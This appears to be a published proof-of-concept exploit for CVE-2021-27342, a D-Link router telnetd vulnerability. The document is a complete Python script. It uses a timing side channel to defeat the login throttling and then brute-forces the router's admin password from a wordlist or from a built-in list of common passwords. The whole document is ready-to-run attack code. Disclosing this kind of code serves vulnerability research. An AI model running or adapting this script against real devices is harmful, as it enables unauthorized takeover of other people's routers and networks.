README.md
Rendering markdown...
#
# Exploit for D-Link telnetd vulnerability
#
# Exploit bypasses current authentication throttling mechanism via timing side-channel
# Effectively allows waiting < 0.1 seconds between brute-force requests instead of 3 seconds
# Author: Guy Levin / @whtaguy / https://whtaguy.com
#
# CVE-2021-27342
#
# critical
import socket
import time
import sys
# convenience (can delete import and usage in code)
from progressbar import ProgressBar
DEBUG_STATUS = False
DEBUG_RECV = False
DEBUG_FINAL_RECV = False
def recv_until(s, ending):
if DEBUG_RECV:
print("waiting for", ending)
b = ""
while not b.endswith(ending):
if DEBUG_RECV:
print(time.asctime(), "b:", b)
b += s.recv(1)
if DEBUG_RECV:
print("returning b:", b)
return b
def telnet_login(ip, port, passwd, invalid_auth_timeout=0.07):
# might need to adjust invalid_auth_timeout according to network lag
s = socket.socket()
s.connect((ip, port))
# idk telnet things
recv_until(s, "fffd01fffd1ffffb01fffb03".decode("hex"))
s.sendall("fffb01".decode("hex"))
if DEBUG_STATUS:
print("done init")
recv_until(s, "dlinkrouter login: ")
s.sendall("admin\r\n")
recv_until(s, "admin\r\n")
if DEBUG_STATUS:
print("done uname")
recv_until(s, "Password: ")
s.sendall(passwd + "\r\n")
if DEBUG_STATUS:
print("done passwd")
# send on good & bad auth attempt
recv_until(s, "\r\n")
# if immediately get "W" (first char of "Welcome ..."), then we know auth is good.
# else, bad auth
s.settimeout(invalid_auth_timeout)
recvd = ""
try:
recvd += s.recv(0x10)
except socket.timeout as e:
if DEBUG_FINAL_RECV:
print("recvd:", recvd)
correct_pass = False
else:
if DEBUG_FINAL_RECV:
print("recvd:", recvd)
correct_pass = True
s.close()
return correct_pass
def brute_force_login(wordlist, ip="192.168.0.1", port=23):
print("Starting password brute-force")
pbar = ProgressBar()
password_found = ""
for word in pbar(wordlist):
if word[-1] == "\n":
word = word[:-1]
if telnet_login(ip, port, word):
password_found = word
pbar.finish()
break
if password_found:
print("Brute-force success!")
print("Username: admin")
print("Password: " + password_found)
else:
print("Brute-force failed. Try changing the wordlist.")
return password_found
def main():
if len(sys.argv) == 2:
wordlist = open(sys.argv[1], "r").readlines()
else:
# use simple demo wordlist
print("using dumb demo wordlist")
wordlist = ["123456", "12345", "123456789",
"password", "iloveyou", "princess",
"1234567", "rockyou", "12345678",
"abc123", "nicole", "daniel",
"babygirl", "monkey", "lovely" ]
if brute_force_login(wordlist):
return 0 # exit_success
else:
return 1 # exit_fail
if __name__ == '__main__':
main()